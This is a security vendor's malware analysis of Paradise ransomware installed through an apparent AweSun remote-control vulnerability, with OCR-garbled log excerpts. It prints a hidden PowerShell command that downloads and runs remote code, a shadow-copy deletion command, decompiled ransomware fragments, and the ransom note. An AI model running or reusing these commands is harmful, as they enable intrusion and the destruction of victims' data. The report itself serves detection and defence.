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The ASEC analysis team has recently discovered the distribution of Paradise ransomware. The threat actors are
suspected to be utilizing a vulnerability exploitation of the Chinese remote control program AweSun. In the past,

the team also found and covered the distribution of Sliver C2 and BYOVD through a Sunlogin vulnerability, a

remote control program developed in China.

 Sliver Malware With BYOVD Distributed Through Sunlogin Vulnerability Exploitations

1. AweSun Vulnerability Exploitation

The installation of Sliver C2 through the AweSun remote control program developed by AweRay was also

discovered to have been carried out by threat actors while the team was monitoring Sliver C2 attack cases. [1]

‘g‘ AWeSun Smart Hardware Solutions v Download Buy Now Rewards Support A login

Special Offer
for More Devices

AweSun Remote Desktop Software

An all-in-one secure remote access, control and support solution

Access work laptop and gaming computer from phone/pc from anywhere
Download Now for FREE personal and commercial use

Free Download ‘ Buy Now

Figure 1. Remote control program AweSun
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Target Type File Name File size File Path @
Current W@ powershell.exe 423 KB %SystemRoot?\syswows4\windowspowershelliv1.0\powershell.exe
Parent B cmd.exe 231 KB % SystemRoot?b\syswow64\cmd.exe
ParentOfParentOfCurrent B cmd.exe 231 KB %%SystemRoott\syswowsd\cmd.exe
FarentOfParentOffarent B awesun.exe 7.14 MB SbProgramFiles¥ (x86)\aweray\awesun|awesun.exs
Process Module Target Behavior Data
B powershell.exs Connects to network http://43.128.62.42/acl.exe

Figure 2. Sliver C2 installed by PowerShell that was generated by AweSun

Detailed information about the AweSun vulnerability exploitation has yet to be confirmed. However, considering
that this is the same threat actor that exploited the Sunlogin vulnerability and the fact that Sliver C2 was installed
by a PowerShell that was generated by a child process of AweSun, we can speculate that this attack was also a
vulnerability exploitation. Compared to the latest version of AweSun.exe which now exceeds v2.0, the AweSun

used for the attacks were v1.5 and v1.6, versions that were released several years ago.

Additionally, we can confirm through the command used in the attack that the attack command includes a ping
that’s similar to the PoC used in the Sunlogin vulnerability. Although it is currently impossible to download

anything from this address, we can infer from the URL format that it is a command that installs Cobalt Strike.

"currentProcess”: {
“imageInfo™: {
“£ileObi™: {
"fileName"
"filePa
"fileSize"

b
}

s% (x86)\\aweray\\awesun\\awesun.exe",

"targetProcess”: {
“imageInfo": {
“commandLine": “ping../../../windows\\systen32\\cnd.exe /c powershell.exe -nop -w hidden -c \"iex ((new-cbject net.webclient).downloadstring('http://139.159.284.38:44144/a'))\"",
“file0bj": {
“fileName"
“filePath”
"filesize"
'
}
i

ootk\\syswomb4\\cmd . exe”,

Figure 3. Command used to exploit AweSun vulnerability

It appears that the threat attacker is using the AweSun vulnerability exploitation at the same time as the Sunlogin
vulnerability exploitation. The Sliver and BYOVD malware mentioned above have been found in both

vulnerability exploitation cases along with a XMRig CoinMiner.

This post will focus on the Paradise attack case since it was the most recent case of this vulnerability exploitation.
The following is AhnLab’s ASD (AhnLab Smart Defense) log, which shows that the Paradise ransomware,
“DP_Main.exe,” was installed by the cmd and PowerShell generated by AweSun.
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Target Type File Name File size File Path @

Target W dp_main.exe 25KB SbsystemDrivelb\users\%ASDY%\dp_main.exe

Current B powershell.exe 423 KB %6SystemRoot?s\syswows4 \windowspowershelliv1.0\powershell.exe

Parent B cmd.exe 231 KB %SystemRoot%\syswowB4'\cmd.exe

Process Module Target Behavior Data

B powershell.exe Creates executable file B dp_main.exe

B powershell.exe Caonnects to network https://upload.paradisenewgenshinimpact.top;

Figure 4. Paradise ransomware installation log

e Paradise ransomware download URL: hxxps://upload.paradisenewgenshinimpact[.]Jtop/DP_Main.exe

2. Analysis of Paradise Ransomware

Paradise, which is installed through an AweSun vulnerability exploitation, was first discovered in 2017 as a RaaS

(Ransomware as a Service) type ransomware developed in .NET. [2]

Frogram. MativeMethods, ShowWindow{ Program, Nat iveMethods, GetConsoleWindow( ), 0O
string folderPath = Environment  GetFolderPath{Environment.SpecialFolder.ApplicationData )
if (File Exists{folderPath + "f40P#Hwel Idone.dp” )

1
FProcess.Start( "#OECRYPT MY FILES#.htm!™ )
Environment .Exit{0}
H
else
i
if (args.Lenath == 0 && Frogram.Cyclelefender( )
1
int num = Frogram,ProcessCount( ).
if (!Program, ls4dming )
1
Frogram, Rundsadmin )
h
if (Frogram.ProcessCount() = num)
1
Environment (Exiti0:
i
H
if (File Exists{"id.dp"))
H
; Frogram.PCI0D = File,Readdl 1Text("id.dp"
H
elge
1
Program.PCID = Program. |D_Generator{ )
File WritedllText{"id.dp", Program.PCID)
H

Program.text = Program,text Replace("%10%", Program,PCID}:
Stopwatch stopwatch = new Stopwatch( )
stopwatch, Start( 3.
if (!Program, Checkkeys( )
1
¢ Program.Createkeys( u
Program. MasterRS4 From¥mlString(Programn. REA_MasterPublic )
Program. rsa. FromémlStringlProgram, Re&_Public)
Frogram. SavePrivatelew( 1
while (Program, LockerForYalidKey)

Figure 5. The main function of Paradise ransomware
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Overview Description

Encryption method RSA-1024 / RSA-1024

Paths excluded from “windows”, “firefox”, “chrome”, “google”, “opera”,
encryption “%APPDATA%\DP\” (installation paths)

Extension [id-EaObwi8A].[main@paradisenewgenshinimpact.top].honkai
Ransom note DECRYPT MY FILES#.html

Others Registers RUN key. Deletes volume shadow service

Table 1. Ransomware overview

Paradise utilizes various configuration files. After the completion of the encryption process, the
“%APPDATA%DP\welldone.dp” file is generated. If the file already exists, the encryption stage is skipped and
the ransom note is shown. Paradise will restart with admin privilege if it is executed without the authority as the
ransomware uses it to encrypt the system; at this stage the “%APPDATA%DP\RunAsAdmin.dp” file is used.
PCID is the value that represents the infected system and is saved in the “id.dp” file that is generated on the
current path. The value is also used later for the ransom note and sending the infection information to the C&C

server.

Settings File Description
%APPDATA%DP\welldone.dp Encryption behavior completion status
%APPDATA%DP\RunAsAdmin.dp Admin privilege execution status
Current Path\id.dp PCID

RSA private key (encrypted through a
%USERPROFILE%\documents\DecryptionInfo.auth

) master RSA public key),
%PROGRAMFILES%\DP\DecryptionInfo.auth

RSA public key

Table 2. Settings file

Paradise generates a 1024-bit RSA key and uses it to encrypt files. The ransomware encrypts the RSA private key

necessary for file decryption by using the threat actor’s master RSA public key that’s saved in the settings data.
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¢ Token: 0x04000009 RID: 9

private static string RSA_MasterPublic = "=RE&Key¥alue=<Hodulus=yKJaEXz+c/
nTo0¥ko7I2NZpwodRUL i iBOI | 78YsLawlzHaB0WhGAR=ROENG | 5t 25044 | CLKXZYSZ | S4BFEMSUL JzCyBsw TLANYUC | IVt nZal XY upFEENS
ONP34wbBoz JUBEZ TexvEWUJROKE I cHED I Z2Xsp6 | 4201 Bg I WBHHU=</Hodu | us=<Exponent = A0AB</Exponent=</REAKeyYa | ue="}

¢ Token: Ox04000004 RID: 10
private static string CryptedExtension = ".honkai":

A Token: Ox0400000B RID: 11
private static bool LockerFar¥alidkey = true;

A4 Token: Ox0400000C RID: 12
private static string PCID = "";

A4 Token: Ox04000000 RID: 13
private static string REA_Public = "";

J¢ Token: 0x0400000E RID: 14
private static string RSA_Private = "7

A4 Token: 0x0400000F RID: 15
private static int FilesCount = 0;

Figure 6. Settings file where the master RSA public key is saved

Among the settings files, “DecryptionInfo.auth” has a RSA private key that has been encrypted by the generated
RSA public key and the threat actor’s master RSA public key.

s} CKQTE1iIHOwmQgx JudiBFUOTU+2zu04N]130YmmSoDX1sar IWEC47 tRbeFQZT1/QheGDtPAQo4fiQ7ka®GTwgiFM
+01gfDOBWHWZqU3BENASIWXBARJBRXSgMRE75JalooUePzftQuexfIxI6aK1EAShSgfVhWBLOMLgNyHI ZUmGznoLlr2rDmep Fkug9K1 TS0/
8HiP6gapoEZ1FxHranEUo84zGPbhAUdY1/WtHBoReY1LPUWxIbahZPUCISPAV1ObbYeSVIAVXOUXXMIZ
+c5CKID11zfSaooRtfnCo2MdxsgkkrKSCzkxd 7RgkeXMLgYUYyxe JQHTNGKEX3cXsPQECLprao7kLzOkwQfMMekSWFgREPKkOTIW288j28GHL
9C7BVUCSCQNRIES6N02QrKfE7DgCivBHEMBLAP3BVYVVKes IpFy+6wC1Y7Ah7 IRvebBGIGbHEX1cqWPgGypl7r/8HG3t7mPy6AT2zve
+5WWGKUCmMEMQ9xyqz11J11U9EjWT1s Twrhdd@doRDrUs8wkFCladadS 3wy rUe2 /59eulBodsD2mkH2vBEQUCIUVNYLWC1xRSC2NVIYRXhUSS
+vowqULFLyxWlnrNsr7vNCHMk1CsMB9m2p ZKFODFLFMIXsudhNiz2Z JO65MZIwali7I6K097MX
+WzhpRbWZ29TQKVvEZKBBKTORKCgs8GOLVES1LIYXcagYkOyZgDhSy158RujHNWauOxvUSHWC 2SWD4RaoZ TuShubkimCcP
+KdS3PM2CnQAKCT7iTIDY182771dQhZfbulcH/ F3HDsVOmbYhk+865wQ2x98ey /
PgIuchdllLelZ0Wrqlox9dZ5K6yePOBItX8qlbbgTfzCcal+P6cF+JALEIRB3keGKmM/ FALCY NUOPB+FRyVQTbrjnXgnavvnulyt/
We6YRWhSH3QuW1oEPUNWYAPfneuHz Iudk+ThZKYe7FDFEQuvUMUMIY2coCci+@BdS4el+4771MrFo/
9Y1lgLhoF5riqzRQiDNiGE7pcAlkSUxen7MB08Q35Y0zcI7FUymx/
ybC5L31QqdfcQnkCyorveTHCBOdToQPXSLg824GfF3yIolThwEZ ImdqS5BzRoX3AfwbZkboVay1Db7bbbSKeyh2NQmfaes4xXIBS4dCcpvoQ
9P5i70C/aYpK+P+Fuwb5pYEnBMGexPx
+aNohasBlle20VDe5s4ePHXF2Z9kVIFc IWwETgdBKXyyARgAprI8LQRZWTIQzkhO1RZarwnT jHXhIySEKaM2gmOFcxhlTv/ rk
+PZQk6013wytC3S3rU29e8fPEpRUYBKBQoATHE4AUsBXca/ B4QUZ7wS3B6dTcN x84+ IF TTDWN7HP2y LGmUni==

2 <RSAKeyValue><Modulus>tKcTEc18wbqIhO6E40L7B5palZdfCckyh998jgohmsdgk6VPwSWTNGIBvzBfuCmwHAp8B2sGe
+Hn6t8hP1a06Z/FgGekIwFt6LQ0rd9FNQABHGrBRr1b50aDy0G3u/ Zul tPGFCEGI1FMTycLNyMZ 3do8D jLqwBUGEPUNN3d+y4E=</
Modulus><Exponent>A0QAB</Exponent»></R5AKeyValue»

Figure 7. DecryptionInfo.auth file

The paths excluded from encryption are based on folder paths, so “windows”, “firefox”, “chrome”, “google”,
“opera” and “%APPDATA%\DP\.”. This means that all paths are targeted excluding the settings paths. A distinct
characteristic of Paradise is the fact that it sets the “mysql,” “firebird,” “mssql,” “microsoft sql,” and “backup”

paths as high priority encryption targets.
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5| TaskSchedulerview. cfglid-feBEkkZT] [main@paradisenewgenshinimpact top]. honkai

Offset(h) 00 01 D2 03 04 05 06 OT D8 09 0A OB OC 0D OE OF

00000000 5B 47 &5 6E &5 72 &1 &C 5D 0D 0A 4D 61 72 6B 4F [General]..MarkO
00000010 &4 64 45 76 &5 6E 52 &F 77 73 3D 30 0D 0A 53 &8 ddEvenRows=0..5h
00000020 &F 77 47 T2 69 64 4C 69 6E 65 T3 3D 30 0D 0OA 53 owGridLines=0..35
00000030 &1 7o 65 46 69 6C T4 65 T2 49 6E &4 65 T8 3D 30 aveFilterIndex=0
00000040 OD OA 53 &8 6F 77 49 6E &6 &F 54 &% 70 3D 31 0D ..ShowInfoTip=1.
00000050 ©OA 53 &8 &F 7T 54 BC 43 52 55 50 54 45 44 3 57 . ShowTgeshisygne

00000060 4C &6A 50 T2 25 64 76 55 43 &F 35 58 31 52 70 48 LjPr3jvUCoSX1RpH
00000070 &7 73 43 4C 50 64 35 TA &5 46 535 54 52 4D 61 74 gsCLPdSzeFUTREMat
Q0000080 37 4A 65 6A 47 68 4D 45 58 7T 4B 75 44 44 42 &6E TJejGhMEXwEuJDEn
00000080 7T 45 32 52 44 55 59 58 6D 34 69 &2 T3 4C 38 77T wEZRDUYEm4ibsLOw
000000AD 4A 2B 36 69 4D 46 T4 55 50 66 79 58 4D 43 5A 2B J+6iMFrUPLyXMCZ+
0Q0DDOBD &6 75 50 59 79 70 &4 42 45 4F TA 31 T4 45 37 52 TfuPYypdBEQ=zItETR
0000QOCO &F 71 71 &2 77 6D 31 75 46 68 71 56 2ZF 21 32 4B oagocwmluFhgV/13K
Q00000D0 8 52 73 48 78 7o 51 55 T8 6D 65 61 51 66 51 &2 BEsHXvQUEmeaQTfQb
000000ED &3 34 52 78 38 32 €3 T8 65 T6 4C 2B &7 59 51 58 c4BExBZ2cEevL+gYQX
000000FD &4 52 &7 T2 4A 43 52 T2 41 395 32 21 6D 42 55 71 dRgrJCRrAS21imJUq
00000100 &E 44 &1 35 75 4C 73 53 2B 36 42 6F 61 &8 4A 57 mnDaSuLs5+6BoahJW

Figure 8. Encrypted files

Furthermore, this ransomware can create a copy of itself in % APPDATA%DP\DP_Main.exe and register it to the

run key or delete the volume shadow service using the following command.
“cmd.exe” /C sc delete VSS

After the encryption process is finished, Paradise transfers basic information like the PCID and computer name
along with information such as the number of encrypted files and the time it took to finish encryption to the C&C

server.

Item Description

\% vector (hard-coded)

fc Number of encrypted files

computer_name Computer name

et Time taken for encryption

decryption_info RSA private key (encrypted through a master RSA public key)
id PCID

Table 3. Data delivered to C&C server
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#  Resut Protocol Host LRL Get Started | (B) Statistics | d Inspectors | £ AutoResponder
upload paradisenewgenshinimpact. top: 2095 fapi/Encrypted.php 17 3 Headers ‘ TextView ‘ SyntaxView ||WebForms | HexView

P
[
[Name [ value
v yKJaExz+
5 =
computer_name el
et T
decryption_info MntrgSaLhAngZEYiwil2f2MNLVTge HgOvn IrE2QR
id emLY6irF

Figure 9. Data delivered to C&C server

Ultimately, it executes a ransom note to notify the user that they have been infected by a ransomware. The note

includes an email address and Bitcoin wallet address as means of contact.

¢ Bitcoin wallet address: 392vKrpVxMF7Ld55TXyXpJ1FUE8dgKhFiv

¢ Threat actor’s email address: main@paradisenewgenshinimpact.top

Your personal ID

enL¥6irf

Your personal KEY

Hnt rgSalhangZEY iwi | 2f 2HLYTge+k jOunl rEZ0RnALa sedll+F OdxcEbYndz i praBaHoGMIl+ESUUCPozot AHea OBWA0Z i JaNLECKDnYETal i dulOhsvac | DAngdPkF i jPpX/BXaE350d7bakz ol 15
zpHlrviwCEahZdubBm uLM/z | G1 42f YuBNzowugHshaa j $HEOBUL muwwawnz ] X0WhW | Lingoe30t XMV | LYZf Bo+ | dRPcBoS T 4 ra¥CEBc AR SLeOMYOB0XE+RMInrL Ty reCBUENRTKURIEK i CZghia
YuuZbZ0oeonp32T43EBEZ 00059y | Ebatkt Talhx=1d0aH | mHYLBw+lsTYNRHT 1 2+009mnEf cLCoavy) 1/GdPEKEY 11 rebdaDku+YINZRZYT 1703 30422 TpaEllugBLA2F 2bEBhOLAY. vl (0Bsda IKkp
Anvk | 2H4%vn+oF HF BECEYUkDF | dcO7eXUVg+bYEYquELFdX7rp Iyl YNSSKdeDe | JOZgaky(MyaHIUPIVEHD2 | uydn] | 2anzw0RE2EWWECT k1 /+kg i KNGonpnG | KaxSib+LAYday] 1 vI dejFOXs
lafumLdHFla«+ TYkpHOhJkkaRywy rPrl/0UC03Lpd | HoOBXaComy [COJAUN] | MHMyU+peSSFE jav2ehbs/iMzzxdav | ImBRETOZEXRGESPwel | | 770m:Sy2uchxrRdpa ] ptif dBddvFplKBYBH] cL2c
ndll/Ibos6?f +zLa/vEasLJNCT ) aC/ ar OneFY00R5X01Da6astk0dE+n  Exi Y i 1sPPa6ai acadf rd rudv059HesyDBNEYe3NF | BX2vPUR+eCTYDas+SUGebFnvE t Znoke PabbuxkMb Tc3EKe 1 050814
kd@icnHzl SyUBx096C560cP rAD+44C706LdncZbd T Zwlebu | 470s8pGu-+ky A 7LheGE rON e+ J{F S00. DhMwoKyEw3U39ZGA01 4C 1 n7U 1 a TS PEQKARhyt Pohllilu?q3b 1 Bet IBIBYYulvs j ovRgB
z | G0b62brspzdalileBlk | ECYky | orazBgZuenty | F iuTHa1af | 380Td i 9FUgbt aHROGAY? bzwa0d43) KavUddBF 4 1 tBDLuy Tad TEPHAG TnSUKn+55 ks 3zt PFRFhCdzsel kBSFwdECTLE v//f HOce |
wdnn | nkY 1 susmabinzkyMa0 1YLspzome 1 1 7KEvwMBRTEARCYF 24w i Lich3YelldsBar rNVhY MonCOUOBEM My 1) 75 T8+3hMyc it 044+0f hwA TCy 3/ wHkzpbyl++ 1 T3kiNzx0paBOCH IM2el rtuvDla==
pd

WHAT HAPPENED!
= Your important files produced on this computer have been encrypted due a security problem.
= If you want to restore them, write to us by email.

= You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.

= After payment we will send you the decryption tool that will decrypt all your files.

FREE DECRYPTION AS GUARANTEE!
« Before payment you can send us 1-3 files for free decryption.
* Please note that files must NOT contgin valuable information.
» The file size should not exceed 1MB.
= As evidence, we can decrypt one file

Figure 10. Ransom note — 1
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HOW TO OBTAIN BITCOINS!

Our Bitcoin Address: 392vKrpVxMF7LA55TXyXpl1FUESdgKhFiv

The easiest way to buy bitcoin is LocalBitcoins site.

You have to register, click Buy bitcoins and select the seller by payment method and price
hittps://localbitcoins.com/buy _bitcoins/

Also you can find other places to buy Bitcoins and beginners guide here:
hittp://www.coindesk.com/information/how-can-i-buy-bitcoins/

write to Google how to buy Bitcoin in your country?

Contact!

e-mail: main @paradisenewgenshir
ar
e-mail: main @paradisenewgenshir

Attention!

Do not rename encrypted files

Do not try to decrypt your data using third party software, it may cause permanent data loss
You are guaranteed to get the decryptor after payment

As evidence, we can decrypt one file

Do not attempt to use the antivirus or uninstall the program

This will lead to your data loss and unrecoverable

Decoders of other users is not suitable to decrypt your files - encryption key is unigue

Figure 11. Ransom note — 2

3. Conclusion

We have found recent cases where various ransomware, including Paradise, were installed on vulnerable software

that did not have recent patches applied. Therefore, users must update their installed software to the latest version

to preemptively prevent vulnerability exploitations. Also, V3 should be updated to the latest version so that

malware infection can be prevented.

File Detection
— Trojan/Win.Agent.C4590824 (2021.08.15.00)

Behavior Detection

— Execution/MDP.Powershell. M1185
— Execution/MDP.Powershell. M2514
— Persistence/MDP.AutoRun.M224

— Ransom/MDP.Decoy.M1171

MD5

5cbbcladfd22f852a37a791a2415c92c¢

Additional IOCs are available on AhnLab TIP.

URL
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http[:]//upload[.]paradisenewgenshinimpact[.]top[:]2095/api/Encrypted[.]php
https[:]//upload].]paradisenewgenshinimpact[.]top/DP_Main[.]exe
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/47590
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